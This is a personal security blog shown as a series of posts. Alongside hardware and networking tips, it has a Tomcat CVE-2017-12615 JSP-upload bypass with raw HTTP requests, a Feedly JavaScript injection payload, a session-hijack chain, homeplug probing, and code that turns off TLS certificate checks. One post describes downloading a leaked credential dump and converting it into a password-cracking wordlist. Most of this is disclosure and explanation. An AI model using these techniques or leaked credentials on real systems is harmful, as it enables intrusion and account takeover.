Eth mining: How I lost and recovered 3.5K USD

What's up?

It's been a while. I know. Anyway, here's a story of 'what not to do', and a 'what you might want to try' when comes to PC fixing.

Tldr; I lost my eth private keystore to a wallet containing 0.85 ethereum cryptocurrency and managed to recover it through some dumb luck.

Background

I was mining eth back in 2017-2018 and in total got about 0.85 ETH for about $100 worth of electricity on a 1080 Ti that is primarily used for gaming. The card is still working well today :) Unfortunately, one mishap during transferring of PC components between two systems and I lost a SSD. I plugged in SATA power cable into the wrong 6-pin. Instead of a peripheral 6-pin, I inserted the cable into a GPU 6-pin. Needless to say, within a few seconds, I witnessed smoke and burnt plastic smell. After turning off the switch frantically, I ended up with a burnt 6-pin power port on my PSU (had to changed it), a burnt cable at both ends and a partially melted SATA power connector on the SSD. I didn't lose much. Only some games installation. Only 0.85 ETH since my private keystore is stored on the SSD, which back then was less than $200 USD. It's ok, not much gone. I probably won't need anything on that SSD. So I thought.

2021 - Soaring of Cryptocurrency

Now, 1 ETH is worth about $4K USD. 0.85 ETH roughly equates to $3K++ USD. "F**K ME!" I thought.

 

"F**K ME!"

So I carried this regret for a couple of months, and every now and then feel the stabbing pain on my wallet whenever someone mentions about cryptocurrency trading. But one day, I decided to fix it. Now it's no longer $180 - it's 3 grand. It deserves some attention.

ETH Wallet requirements

I created the ethereum wallet back in 2017 using GETH when I first started off mining. While I had the address and the passphrase, my private keystore was stored in that busted SSD. No keystore, no transacting rights. No transacting rights = No access to the stored ethereum. No access = no $. :( 

Search & Recovery

The moment I reached home, I started searching for it. First, I started with my cloud storage, hoping that my past self actually did back up the keystore JSON file. After a while, the only thing I saw was my wallet address. Sigh

So I decided to start searching for the SSD with a burnt connector. After a while, I found it was still attached to a metallic cage that is to be installed onto a PC case. Unscrewed it off the cage, and examined it a little, and I decided to see if I could clean it up a little. 

Cleaned up. But still busted.

The next step, I went online and started researching on replacing the SATA component. As much as I'm pretty comfortable with software and PC hardware, I have very little exposure to soldering. My kit was left in an office 3 jobs ago and I am not confident in glueing and soldering the component. I continued searching online for professionals to help, but fear the shops out there might access my data without my permission if they successfully repaired the SSD. I know, it was not full-disk encrypted but it was a gaming machine primarily, so back then I wasn't too worried. 

Finally, I had an idea. A sorta 'hail mary pass' idea that I can try before I head down to a shop or something. I read that the SATA power connector has multiple pins, and a lot of them are built for redundancy.

I interpreted it as every 3 pins to 1 "function"

"Two pins down. Maybe it's still connectable", I thought to myself. So knowing that I have a simple SATA/IDE to USD 2.0 adapter kit that can be used to connect non-external HDD/SSD to the PC via USB, I took it out and tried to connect a SATA power cable to the busted SSD connector. Wow, it fits.

As we know, even if it fits doesn't mean it will work. Worst case scenario, I'll just turn off the power if I smell burnt plastic or see any smoke. So I attached everything on the hard disk, and the 3-pin power plug to my power point, *fingers crossed* and turned on the power. Initially, there was nothing. But in about 30 seconds or so, I start to see Win 10 attempting to mount the SSD. NEAT! :) After about a minute, it finally mounted fully. I WAS ABLE TO ACCESS THE FILE SYSTEMS. I immediately bee-lined to the location where my keystore was stored and extracted it out.

"Power connector fits!" The simple temporarily external SSD set up.

Dumb luck but good luck - it worked! Extracting the private keystore for the eth wallet.

Moral of the story

Again, the cliche 'don't give up' or the taunting phrase 'try harder!' are parroted time after time. For this time, it kind of fits. If I didn't try, I wouldn't have recovered $3K++ worth of Ethereum. Was it dangerous? Yes. But I had a plan (well, pulling the power plug IS a plan). Was I lucky? Probably. Was it worth it? Well, no burnt plastic and extra 3 grand - definitely a 'HELL YEA'! 

True story.

Regards,

JS @breaktoprotect

Fixing [SSL: CERTIFICATE_VERIFY_FAILED]

Scenario:

You are developing a Python app that needs to perform OAuth and talking to Google APIs. And you also want to intercept HTTP traffic to gain more understanding or debug your app, but faced the following terrible terrible messages:

Traceback (most recent call last):
  File "alt_google_sample.py", line 17, in <module>
    creds = tools.run_flow(flow, store, http=my_http)
  File "C:\python38\lib\site-packages\oauth2client\_helpers.py", line 133, in positional_wrapper
    return wrapped(*args, **kwargs)
  File "C:\python38\lib\site-packages\oauth2client\tools.py", line 243, in run_flow
    credential = flow.step2_exchange(code, http=http)
  File "C:\python38\lib\site-packages\oauth2client\_helpers.py", line 133, in positional_wrapper
    return wrapped(*args, **kwargs)
  File "C:\python38\lib\site-packages\oauth2client\client.py", line 2053, in step2_exchange
    resp, content = transport.request(
  File "C:\python38\lib\site-packages\oauth2client\transport.py", line 280, in request
    return http_callable(uri, method=method, body=body, headers=headers,
  File "C:\python38\lib\site-packages\httplib2\__init__.py", line 1982, in request
    (response, content) = self._request(
  File "C:\python38\lib\site-packages\httplib2\__init__.py", line 1650, in _request
    (response, content) = self._conn_request(
  File "C:\python38\lib\site-packages\httplib2\__init__.py", line 1557, in _conn_request
    conn.connect()
  File "C:\python38\lib\site-packages\httplib2\__init__.py", line 1326, in connect
    self.sock = self._context.wrap_socket(sock, server_hostname=self.host)
  File "C:\python38\lib\ssl.py", line 500, in wrap_socket
    return self.sslsocket_class._create(
  File "C:\python38\lib\ssl.py", line 1040, in _create
    self.do_handshake()
  File "C:\python38\lib\ssl.py", line 1309, in do_handshake
    self._sslobj.do_handshake()
ssl.SSLCertVerificationError: [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self signed certificate in certificate chain (_ssl.c:1108)

>:(

What's the issue?
If you're doing man-in-the-middle (MITM) for HTTP requests/responses, your TLS/SSL verification will certainly fail. Unfortunately, 'verify=False' does not work as the Google API client library uses httplib2 instead. However, all is not lost.

Remediation:

Import httplib2, instantiate a Http() object and use 'disable_ssl_certificate_validation=True' as the argument.

If you are using the Google Tutorial's sample code, this won't exactly work. :(

Instead, I used the code by https://github.com/butteredwaffles from https://medium.com/@butteredwaffles/working-with-google-calendar-api-8121d5048597 and modified the Http() object.

Solution #1: Disable the SSL verification altogether during testing.

...

my_http = httplib2.Http(disable_ssl_certificate_validation=True)

SCOPES = "https://www.googleapis.com/auth/calendar.readonly"

store = file.Storage('token.json')

creds = store.get()

if not creds or creds.invalid:

    flow = client.flow_from_clientsecrets('credentials.json', SCOPES)

    creds = tools.run_flow(flow, store, http=my_http)

    service = build('calendar', 'v3', http=creds.authorize(my_http))

...

Solution #2: Use self-signed certificate
Extract your intercepting software (e.g. Burpsuite) certificate, convert it to PEM format and then use the following code:

...

my_http = httplib2.Http(ca_certs='./burp.pem')

SCOPES = "https://www.googleapis.com/auth/calendar.readonly"

store = file.Storage('token.json')

creds = store.get()

if not creds or creds.invalid:

    flow = client.flow_from_clientsecrets('credentials.json', SCOPES)

    creds = tools.run_flow(flow, store, http=my_http)

    service = build('calendar', 'v3', http=creds.authorize(my_http))

...

For full code, please visit:
https://github.com/breaktoprotect/Useful-Code-Snippets/blob/master/googleapiclient_disable_ssl_verify.py

Screenshots of results - Yay - interception successful!

Quick Tip: RT-AC85U to M1 (Huawei) internet connectivity issue

Hey,


If you're using an ASUS router and a Huawei ONT (e.g. from M1) and encounter difficulty connecting to the Internet, you may need to select non-automatic DNS settings and set DNS server to: 8.8.4.4

I had this issue specifically with the ASUS RT-AC85U and found this helpful. However, your ASUS router would probably have the same WAN configuration defaulting to automatic detecting DNS. Manually setting that might help even on a different model.

If you're not with M1 as an ISP, you might want to check out your ISP site to see if they require certain special settings to be done on your router.

Turn it off and turn it on again
Sometimes it might just be unstable behaviors of the router or the ONT and doing a power off-on might help. However, if you're here, it's likely you've already tried this as this advice is usually top on the list for any support.

Other problems
If for whatever reasons your ISP decided to whitelist the MAC address of the device connecting to their ONT, and you're swapping out an old router for a spanking new router, you may need to call up your ISP for support to whitelist it. This is very unlikely, but could potentially be the resolution to your issue.

Hope this helps.

JS

The Case of CVE-2017-12615 Tomcat 7 PUT vulnerability

Exploit proof of concept:

You guys came for the code. So, click on my github repo link:

https://github.com/breaktoprotect/CVE-2017-12615

Warning: Don't die ROFL-ing as it's hilariously simple to exploit :D

Crux of the issue:

By design, if you try to upload a JSP file via the HTTP PUT method on the Tomcat server, it won't work. You can upload .html, .jpg, or any other extensions except .jsp, .jspx and the variants. 

For example, if you try:

Request:

PUT /myfile.jsp HTTP/1.1Host: 127.0.0.1:8080Connection: closeContent-Length: 85
<% out.write("<html><body><h3>[+] JSP upload successfully.</h3></body></html>"); %>

You will get an error :( such as the one shown in the below response.

Response:

HTTP/1.1 404 Not FoundServer: Apache-Coyote/1.1Content-Type: text/html;charset=utf-8Content-Language: enContent-Length: 971Date: Sat, 23 Sep 2017 06:07:27 GMTConnection: close
...SNIPPED.<html><head><title>Apache Tomcat/7.0.79 - Error report</title><style><!--H1

However, you can bypass the extension check by appending a '/' behind the .jsp extension:

Request:

PUT /myfile.jsp/ HTTP/1.1

Host: 127.0.0.1:8080

Connection: close

Content-Length: 85

<% out.write("<html><body><h3>[+] JSP upload successfully.</h3></body></html>"); %>

Response:

HTTP/1.1 201 Created

Server: Apache-Coyote/1.1

Content-Length: 0

Date: Sat, 23 Sep 2017 06:45:50 GMT

Connection: close

And I got the clue from the Apache site with the patch diff indicated here: 

http://svn.apache.org/viewvc/tomcat/tc7.0.x/trunk/java/org/apache/naming/resources/FileDirContext.java?annotate=1804729&pathrev=1804729

Pre-requisite:

1. PUT method is enabled through conf/web.xml

<init-param>

<param-name>readonly</param-name>

<param-value>false</param-value>

</init-param>

2. No authentication enforced in the security-constraint set at the app's WEB-INF/web.xml

<auth-constraint>

<role-name>admin</role-name>

</auth-constraint>

References:

Apache Patch notes: https://tomcat.apache.org/security-7.html

Diff notes on the patch: http://svn.apache.org/viewvc/tomcat/tc7.0.x/trunk/java/org/apache/naming/resources/FileDirContext.java?annotate=1804729&pathrev=1804729

Ok that's all for now. 

JS out.

ihavebeenpwned?

Background
Like some of the paranoid folks out there, I've signed myself up to haveibeenpwned.com to get informed via email whenever a site got hacked and my credentials are being leaked. A few days ago, I received an email saying that my credentials associated with my email address (user id) was leaked on seemingly a Russian site known as 'exploit.in'. I needed to know what password was leaked before I go on a mass change on all my accounts.

"Anti Public" combo list
It's said to be 458million credentials leaked. Yep, holy.
For more information: https://haveibeenpwned.com/PwnedWebsites#ExploitIn

Hunting the leaked password database
After perusing some forums, I managed to get my hands on the dump. It's about 10gb zipped up and 26gb unzipped. The files are separated with filenames starting from 1.txt to 111.txt, and the contents are in a format of [email address]:[cleartextpassword]. You get gmails, yahoos and even some .ru email addresses on it.
Holy batman it's 26gb of cleartext credentials which rivals the WPA list! On a SSD and a i5 3.2ghz, it still takes a few minutes to parse through the whole list. So back to the task "am I pwned?", I did a:

type * | findstr [partial my email address] > search_results.txt

After a couple of minutes, I found two email entries: a gmail and a yahoo. The yahoo has already expired and the gmail is a super old password that was since multiple password-changes ago. Phew for me. But still, quite a scare.

Charlie Mike: Investigate the passwords
Well, my curiosity goes beyond my own security status. I wanted to know what type of passwords were cracked and if they were able to bruteforce complex ones. So I went on performing some simple text processing. I'll do a post on this when I'm done. :)

Shiny New Dict
And of course, since it was verified to be a real credential dump, how can I ignore a super reliable word list? It came with a super easy format so the following commands helped cleaned it up:

cat exploit.in_2016.lst | sort | uniq > exploit.in_2016_uniq.lst

cat exploit.in | cut -d":" -f 2 > exploit-in.txt

LOL 50% CPU utilization on sort.exe

This is going to take a while. Don't wait up.

JS.

My Thoughts On "no internet for the public sector"

What up.

Recently, Singapore government has decided to cut off the internet for public servants for security reasons. It was said that we are one of the prime targets. WHO ISN'T?
To read more, goto: http://www.bbc.com/news/world-asia-36476422

What are my thoughts on this?
*It was first written on a facebook comment in response to an annoying post with bad analogy. I wanted it to be a sharp and poignant comment but it ended up as a wall of text. So, I've decided to put it up just in case anyone tries to pull off another BS on how it was a good decision to cut off the internet.

No internet but haz email??? 
It's not pragmatic. Attackers will hit the systems which requires internet access and perform lateral movement from there onwards. Exposure is limited, but not eliminated. Moreover, emails are still active and IS a point of entry. AV is good at preventing known threats from entering but most malware are bespoke and mutate faster than an AV can keep up (e.g. it will be weeks before AV gets updated to prevent a APT malware. it will be months before systems get patched for zero-days). It is possible to worm through a network without requiring internet access. Yes, no internet = no beaconing back to C2 (command and control) server, but doesn't mean malware can't work. Malware can still worm through operating system vulnerabilities, performing lateral movement like a human attacker, and it's a matter of time a malware propagates and find exfiltration points to beacon or bring data out. So eliminating Internet keeps employees safe? To a certain point, but you need to truly air gap your systems i.e. no emails from the internet. But no one can truly work pure intranet email can they? Since they rely on AVs for email entry (and they better be), why don't they allow internet via proxy servers (e.g. all HTTP/HTTPS have to go through these machines for internet access.) Keeping email while eliminating internet is like stop eating ice cream to cut down calories but keep going nuts on oreo cookies thinking that they are not as sugary. This is a security architectural problem. Pulling out the WAN cable is at best naive. If government agencies want to be truly secure by this logic, PEN AND PAPER PLEASE.

A Short Note on Defense
So how to defend? Preventive and detective controls. Makes it hard and expensive for attackers to get in and maintain control. Preventive controls - the usual patch management, app whitelisting, host AV, exploit mitigation such as EMET, etc etc. But mistake not, for they will NOT prevent. They are there to be speed bumps and trip wires. E.g. if you got AV, attacker will need to evade and may avoid touching disk. This could mean powershell, dll injection, reflective dll loading, etc. If you are patched up timely, attackers need to spend $$ using their expensive zero-days. When it's used and found during forensics, it's no longer zero-day or as effective. If you got exploit mitigation, attackers need to make exploits that evades exploit mitigation. If you got logging in-place, attackers cannot perform active brute force methods as they may give off their position. If you got..ok you get what I mean. This goes the same with application whitelisting, configuration hardening and other forms of controls both endpoints and servers.

Detective controls - first harden every route except to leave one or two paths for attackers. Why do this? 1) Able to map out likely attack paths for easier detection; 2) Place more sensors on those paths for higher detection rate; 3) Decrease false positives thus allowing analysts to concentrate their effort in hunting down threat actors rather than responding to random events happening all over the network. Going further, implement Honeynet/honeypot within the network - placing systems within the organisation that no one would normally or ever access, which serves the purpose to trigger off alerts whenever a foreign threat actor logs in. This will trip up attackers when they are performing lateral movement. And yes, they WILL perform lateral movements. =) And there are more to talk about such as going beyond network and do endpoint threat detection or EDRs, basically. Hunt for IOCs instead of being event-driven. Yada yada...

The landscape has changed so much - you can no longer expect to keep attackers out. It's not about "if" but "when". Security professionals' job is to give a hard time for attackers to come in and when they do, be able to detect and triage before they do any significant damage (e.g. exfil data, service denial, make watering-hole points.). Most organisations doesn't even know that a threat actor is within their network until 6 months or until a "sale" on the darknet.

We need to do better than pulling out the ethernet cable. Don't you fucking giving up on us!

Disturbed,
J.S.

WHY YOU NO DETECT MY SSD?!

*Warning: This has nothing to do with security. Read at your own risk! :D

Do you have issues detecting your new SSD on windows 10? You're able to detect the SSD properly on your BIOS but Windows 10's Disk Management shows up nothing? Perform 'Windows Memory Diagnostic'. Yes, it made no sense but it worked for me. After WMD is done with the 2 passes, boot in the OS and go to your Disk Management. You'll be prompt to initialize your shiny new SSD.

*This happens to my new samsung evo 850 250gb. 

Good luck, have fun! :)

Out,

JS.

smile emoticon

Virtualbox Guest Additions on Kali 2.0

Yello peeps.

Having problems with your Kali 2.0's screen size and needs a fix from the Virtualbox additions to get it right yet it's not installing properly? Don't fret. Try this:

Kali 2.0 not installing Virtualbox Additions properly >:|

Like many of the folks over teh internet, I had problems installing virtualbox additions in the new Kali 2.0. 

What didn't work: 

- Initially I was using the 32-bit version. Got error messages such as  "Building the VirtualBox Guest Additions kernel modules...failed". So I re-downloaded the Kali 2.0 but the amd64 version. Still got the same error messages. >:| 

What works for me:

- Initially I was using Virtualbox 4.3.10. Reading the comments, Felix emphasized that he used 4.3.30 which I suspected was the case. This is Felix's guide.

What I did - Uninstall Old VirtualBox and Install VirtualBox 4.3.32:

1) On my host machine (I'm on Ubuntu 14.02 Trusty): 

$ sudo apt-get purge virtualbox

// So that essentially uninstalled my virtualbox 4.3.10 on my ubuntu host machine

// If you're on windows, uninstall your old virtualbox. Your virtual machines should still be intact. I'm not using windows, so careful with the wizard prompts.

2) Downloaded the Virtualbox 4.3.32 from main site. If you are using older linux like mine (14.02 Trusty), you may want to use this link: https://www.virtualbox.org/wiki/Download_Old_Builds_4_3

3) After installation, your virtual machines WILL crash as you're still on the old extensions. Within the virtualbox  GUI, click HELP -> CHECK FOR UPDATES. Mine returned a "network operation failed..unknown reason", so I closed the update window but got a pop up instead, asking if I would like to install the new extensions to replace the 4.3.10 old ones. So I agreed and re-downloaded and installed the extensions via the GUI.

4) Reboot the machine (may not be necessary but I wasn't able to unload and reload the vboxdrv so what the heck, i restarted my host machine.)

5) Boot back into my Kali 2.0 amd64 and tried the new VBoxLinuxAdditions. VIOLA! =D Happy me.

So what was the problem initially?

Just old version of Virtualbox didn't work. Felix said 4.3.30 works for him. I installed 4.3.32, works for me. :) 

Still having problems?

Try reinstalling your dkms on your linux host machine:

$ sudo apt-get install --reinstall dkms
And reboot your machine.

Hope this helps.

Peace out,

JS.

References:

1. Felix's guide on install Virtualbox Guest Additions on the Kali 2.0 https://www.felixrr.pro/archives/399/kali-2-0-virtualbox-guest-additions-and-linux-headers#comment-58037

2. Virtualbox download links for older machines: https://www.virtualbox.org/wiki/Download_Old_Builds_4_3

2 LOWs can make 1 HIGH

Hello Peter, what's happening?

I have a day job that requires me to risk rate security vulnerabilities pretty much all the damn time. :D The risk rating portion isn't too bad but it's not hard to get challenged for the certain rating you give. Anyway, the main point of this post is: LOW doesn't mean OK-LETS-NOT-GIVE-A-SHIT. A combination of two LOW-rated vulnerability items could bring about a serious security breach.

For example, two LOW-rated issues:

Vulnerability ONE: Information disclosed in Perfdump file

For Oracle iPlanet Webservers, sysadmin can choose to dump out system performance information on a file named '.perf' in the webroot using the PerfDump functionality of the webserver.

According to Oracle's guide [1]:
"perfdump is a Server Application Function (SAF) built into Web Server that collects various pieces of performance data from the Web Server internal statistics and displays them in ASCII text. The perfdump output does not display all the statistics available through the command-line statistics or the Admin Console, but it can still be a useful tool. For example, you can still use perfdump even if the Administration Server is not running. You can view the perfdump output through the CLI, which is enabled by default, or you can view the perfdump output through a URI, which you have to enable. If you enable the URI, you must control access to the perfdump URI, otherwise it can be visible to users."

You'll get information displayed in ASCII text in the http://yourwebdomain.com/.perf file.

webservd pid: 29133

Oracle iPlanet Web Server 7.0.9 B07/04/2010 02:06 (SunOS DOMESTIC)

Server started Fri Jul 14 14:34:15 2006
Process 29133 started Fri Jul 14 14:34:17 2006

ConnectionQueue:
-----------------------------------------
Current/Peak/Limit Queue Length            2/237/1352
Total Connections Queued                   67364017
Average Queue Length (1, 5, 15 minutes)    4.52, 4.73, 4.85
Average Queueing Delay                     13.63 milliseconds

ListenSocket ls1:
------------------------
Address                   https://0.0.0.0:2014
Acceptor Threads          1
Default Virtual Server    https-test

...

...

SNIPPED

...

...

You can also obtain the following information:

Sessions:
-----------------------------------------------------------------------------------------------------------
Process  Status    Client     Age  VS          Method URI                                      Function

29133    response  192.6.7.7  115  https-test  GET   /qa_webapp/CheckNetwork.class             service-j2ee
29133    response  192.6.7.7  8    https-test  GET   /qa_webapp/CheckNetwork.class             service-j2ee
29133    response  192.6.7.7  4    https-test  GET   /qa_webapp/CheckNetwork.class             service-j2ee
29133    response  10.5.8.19  4    https-test  GET   /perf                                     service-dump

From the above, you would obtain information such as IP addresses, HTTP Methods and the URLs&Parameters information on the clients that are connecting to the web server (or simply, people using/browsing the application hosted on the webserver). How helpful :) but no, no serious problems...yet.

Now let's introduce another vulnerability:

Vulnerability TWO: JSESSIONID disclosure in the URI

In my career, I've seen this issue a couple of times. Well, no sweat, no debate and everyone would agree it's a LOW or maybe (with MUCH arguing) at max a MEDIUM risk as there is no direct impact. But what happens if the session ID gets exposed on..say.. a Perfdump file? 

An example on what could be exposed in the PerfDump file:

Sessions:
------------------------------------------------------------------------------------------
Process  Status    Client     Age  VS          Method URI                                      Function

29132    response  123.123.123.123  115  mahapplication  GET   /admin/index.jsp?jsessionid=1A530637288A03B07119A44E8D532428             admin-portal
                           

Ok. Ermm. Houston, we have a problem. 

Vulnerability ONE and TWO on their own wouldn't pose much of a security threat, however, putting them together could be a 'PWN' rated issue. If the webserver is in production serving web contents to the internet, any one on the internet would be able to gain access to http://123.123.123.123[NOT-REAL]/.perf to obtain the application session ID of a authenticated user (or in this case, possibly the web administrator) by repeatedly requesting this PerfDump file over a period of time. When the user performs a request, the 'jsessionid' would be exposed and be reflected on the PerfDump file. The attacker could then harvest the 'jsessionid' from his requested-over-time PerfDump recon logs to hijack the session.

How to prevent this from happening, you asked? 

Do not ignore your LOWs and FIX. EVERY. SINGLE. DAMN. THING. :)
I use to suggest "You know what, this isn't a big of an issue. Meh, you can let it slide." After that day, I would say: "This isn't a big of an issue. But you know what, fix it anyway."

And ladies and gentlemen, this is my 2-cent contribution to the LOW2PWN community. Thank you very much.

Out,
JS.

References:

1. Perfdump - https://docs.oracle.com/cd/E19146-01/821-1834/abyaq/index.html

2. OWASP on Session Management -  https://www.owasp.org/index.php/Session_Management_Cheat_Sheet

Hack Your Homeplug?

SUP ALL!

It's 1:10am Saturday (just TGIF-ed) and I'm overly excited over.... *drum rrroll* - homeplugs!
Apparently they are quite accessible. =D A cursory search over the internet led to me Zibri's blog which then directed me to this pretty nifty tool called 'faifa'. You could git clone from https://github.com/ffainelli/faifa OR perform 'apt-get install faifa', assuming you're using the right operating system. ;)

It's only been 10 min since discovery, but let me break down some tiny roadblocks on the 'getting started' portion for your convenience!

Getting started:
1. Go get a homeplug - buy, borrow or steal.
2. Look at the back of the homeplug and snap a nice photograph such as the one below.
3. Note the i) Device Password; ii) MAC address <== Extremely essential

Note the 'DEVICE PASSWORD' & 'MAC ADDRESS' down - you'll need them

Accessing The Homeplug via Linux and the magnificent Ethernet cable:
4. Proceed to download the 'faifa' tool via "apt-get install faifa" OR git clone https://github.com/ffainelli/faifa
5. Run the tool:
CMD: faifa -i <your_interface> -a <homeplug_mac_address> -k <home_password_without_dashes> -m

e.g. # faifa -i eth0 -a 00:26:75:11:22:33 -k ABCDEFGHIJKLMNOP -m

Shiny commands at your disposal! -m should display the menu

6. Pick your choice command (e.g. 0xA054 - to get some manufacturing string) 

0xA054 works!

7. Next, let's use wire...wait for it... SHARK!

And yes, it can be sniffed! Protocol: HomePlug! =D

What's next?
- Script a bruteforce on the last three bytes of the MAC address to SCAN all connected homeplugs?
- Aztech boast a "channel encryption" using AES. Ok, so disable it? Circumvent it?
- Or simply fuzz the crap out of it since we've got information from the wireshark capture. Scapy maybe? :)

References:
1. Special thanks to Zibri - http://www.zibri.org/2009/03/powerline-ethernet-fun-and-secrets.html
2. Homeplug chipset hardcore specs - http://www.dianlimao.org/upload/2011-5/4/2011541101433368.pdf
3. The 'faifa' tool - https://github.com/ffainelli/faifa

For fun but not much profit,
Jeremy S.

Open letter to Edwin Khodabakchian, CEO Feedly

Dear Mr. Edwin,

I am terribly sorry that the internet news reporters decided to sensationalize this whole thing. I am a Feedly supporter myself and I truly enjoy it. And I agree too with some security professionals / researchers that Feedly did respond timely and quote Davey Winder, "ethical disclosure at its best". However, people decided to interprete my blog post their way and put Feedly in a bad light. The blog post is meant for a extremely small community and technical findings / tips / news archive, however, it was 'scraped' and re-packaged without even notifying me. For the record, I informed no one and spoke to no writers before this whole thing went down.

And on my blog, I wrote the contents as objective and technical as I could and quoted only facts, however limited they may have been. Any inaccuracies that was pointed out I did my best to correct them. As Feedly had stopped communicating with me after they fixed the problem, i had zero visibility (and I am not saying that Feedly owes me to provide any). To be fair, I did ask Feedly to advise on Feedly's steps to ethical disclosure, however, I did not receive any responses despite multiple emails. This means that I did not know that it was a backend fix until much later when I tested it myself (and still I can't be entirely sure until you helped confirmed it later) and I didn't know it was fixed before the 17th when Feedly released v19.3.0 (thus i added 'estimated').  As always, it is part of an individual duty to inform the public and as advised by recognised security body whom i shall not name, I only published this finding about a month after the fix.

Unfortunately, this post unexpectedly went kinda viralled, probably because Feedly is in the fore-front of cloud RSS service provider. Like other major players such as Facebook, Google and Microsoft, Feedly is facing her onslaught of security news. Nevertheless, I believe the reporters of the various news sites should have contacted Feedly and myself to do fact-checks before publishing the articles.  Feedly has an awesome track records in its services and security responses, and like any other giants, people will forget about this and continue to support Feedly. 

This is a war against insecurity both real and deadly vulnerabilties and also the usual crowd paranoia. And I believe that soon enough, this will blow over like any other news. Someone will find something in somewhere else and this will be quickly be forgotten.

I wish you and Feedly a continuous success. 

P.S. For what's worth, this article speaks of my thoughts: http://www.daniweb.com/web-development/javascript-dhtml-ajax/news/477537/feedly-android-javascript-zero-day-found-fixed-and-can-be-forgotten

Yours sincerely,

Jeremy S.

Feedly Android Application Zero-day Vulnerability - JavaScript Code Injection

Hey all,

(Updated on 19-Apr & 21-Apr 2014: See yellow & aqua)

Do you guys remember that I kinda "spammed" my own site with a series of blog posts filled with javascript codes? I was performing tests on the Feedly app to verify a JavaScript injection vulnerability. After a series of tests, I ascertained that the Feedly App (19.2.0 - before 17th March 2014) was vulnerable. As part of the ethical disclosure, I reported to Feedly, the Feedly folks acknowledged the vulnerability (via email) and they got it fixed on 17th March 2014. Unfortunately, I haven't got any more responses when I asked them how they would like to alert / advise their users, especially since they did not mention the vulnerability fix in their change logs on Google Playstore. Anyway, their silence resulted in me seeking alternatives without Feedly's further involvement.

tl;dr - vulnerability details and screenshots as follow:

Vulnerability Title: JavaScript Code Injection possible in Feedly Android App via RSS Feeds

Description:

A javascript code injection is possible from an RSS feed (e.g. from a blog on blogspot) into the 'Feedly' Android App. The android app does not sanitize javascript codes and interpretes them as codes. As a result, allows potential attackers to perform javascript code executions on victim's Feedly android app session via a crafted blogpost. However, the pre-requisite for such an attack to be possible is that the user must have subscribed (RSS) to the site. In other words, attacks can take place only when user browses the RSS-subscribed site's contents via the Feedly android app.

Potential Impact:

Attacker may inject malicious javascript codes via a blogpost. An example would be to create a button to redirect users to malicious sites (and the same old tricks to follow). 

*I haven't gone to the extent of performing 'remote arbitrary code injection'  as I wasn't sure if it uses webView toolkit. But if you got 19.2.0 apk and wish to try, please go nuts. And it'll be nice if you could let me know and of course, I'll reciprocate by providing shiny blue links to your page. =D

Date discovered / reported: 10th March 2014
Date fixed (estimated): Verified after 17th March 2014 (Feedly states that they got it fixed 24 hours after reporting)

Vulnerable version: < 19.3.0 (version just before 19.3.0 - did not test the older ones)

Fixed Version: Feedly Android App 19.3.0 (17th March 2014) - personally verified.
Apparently after testing on previous versions (19.2 and 19.1), I could not reproduce the same problem. I suspect the vulnerable codes are of the backend servers and not the android app itself. As such, both vulnerable version and fixed version fields are not applicable.

Proof-of-Concept

Injection payload:

</script>
<button onclick="location.href='http://www.potentially-malicious.site'" id="1" value="1"/>BreakToProtect's Button
<but

 Figure 0: Normal Feedly site on a Chrome Browser - As you can see, the javascript codes are displayed as text and not intepreted as executable codes

 Figure 1: Feedly App accessing the same blogpost as shown on figure 0 - As you can see, a nice button of mine was created on the Android Application

 Figure 2: Upon clicking on 'BreakToProtect's button', user will be redirected to another site. As per proof-of-concept, a fake URL link 'http://www.potentially-malicious.site/' was used instead.

Annnnddd it's fixed after 19.3.0. 

Hope this is informative for all Feedly users. Thanks to the quick responses from Feedly team, you can now get your fix at the following URL:

https://play.google.com/store/apps/details?id=com.devhd.feedly
The fix was done at the backend - users do not have to worry about using older versions of Feedly.

Later,

JS

Quick fix on ROPeme's ImportError: No module named distorm

Sup' all,

I'm currently working on my ROP skills and trying out ROPeme[1]. So what ROPeme does is that it helps exploit developers / researchers to generate ROP gadgets easily. For those who wants to find out more about ROP or return-oriented programming, try this tutorial: http://www.exploit-db.com/wp-content/themes/exploit/docs/28479.pdf  It's a step-by-step guide to perform your first ROP on Linux.

Anyway, I went to the site and git cloned the ropeme folder onto my '/opt/' directory. When I tried to run './ropshell.py', I get the following error message:

File "ropshell.py", line 24, in <module>
import gadgets
File "/opt/ropeme/ropeme/gadgets.py", line 21, in <module>
import distorm
ImportError: No module named distorm

I tried googling but it was a futile exercise. Then I did an apt-cache search distorm and found 'distorm3' in the distro. And of course, I went ahead to 'apt-get install distorm3' and found out that I actually had that in already. Drats! Now what?!

So basing on a hunch while thinking it was a long-shot, I went ahead and opened up gadgets.py and changed every occurence of 'distorm' to 'distorm3'. Unexpectedly, it worked!

Solution to make ROPeme work with distorm3 (I'm using Kali Backtrack[2])
1. Open up 'gadgets.py'
2. Do a 'replace' for every 'distorm' to 'distorm3'*
3. Save and exit
4. Issue the following command: # python ropshell.py
5. Celebrate a little and move on to actually do ROP.
*Needless to say, you'll need to have 'distorm3' installed on your linux.

Happy kittehz, happy ROPping ;)

- JS

References:
[1] ROPeme - http://www.vnsecurity.net/2010/08/ropeme-rop-exploit-made-easy/
[2] Kali Backtrack - http://www.kali.org/

Apologies to readers

Sup all,

If somehow you've subscribed to my RSS feed and get bombarded by several "code injection" posts, I want to sincerely apologize to you. :(

But good news, I've found and confirmed a security vulnerability that allows JavaScript execution on a Android Mobile App. I've sent an email to the developer and ethical disclosure is in progress.

To make all for all the mucks, I promise to upload some screenshots after the issue's been fixed. =D

Till then folks~

UPDATED: The vulnerability was confirmed and reported. For more details, see http://breaktoprotect.blogspot.sg/2014/04/feedly-android-application-zero-day.html

J.S.

Potential JavaScript Code Injection to App

Below are javascript code as Proof-of-code Javascript Code Injection -
1. A JavaScript button could be injected
2. The button performs location.href to target site. In this case, a fake POC site to prove that it could be used for potentially malicious phishing or extend further payload execution to malicious site.
Click the button below - it could redirect a user to a potential malicious site ;)
-BreakToProtect

</script>

<button onclick="location.href='http://www.potentially-malicious.site'" id="1" value="1"/>BreakToProtect's Button

<butt

XSS across multiple parameters with 32-character constraints per parameter

'Sup all,

Recently, during my job, I encountered Cross-site Scriptings (XSS) on a page with two affected parameters. So, XSS, big whoop. The catch is, you are only limited to 32-character per parameter and anything after that it is truncated. As some professionals know, clients may fight tooth and nail on the findings you report. In this case, they may argue that you can't put a malicious payload with just 64 characters, and they don't give a f* about an alert(1) printing on their page. To make matter worse, it's an internally served page - you can't serve malicious javascript over the internet. So, what to do? Drop the issue? No way ;)

Initial Test:
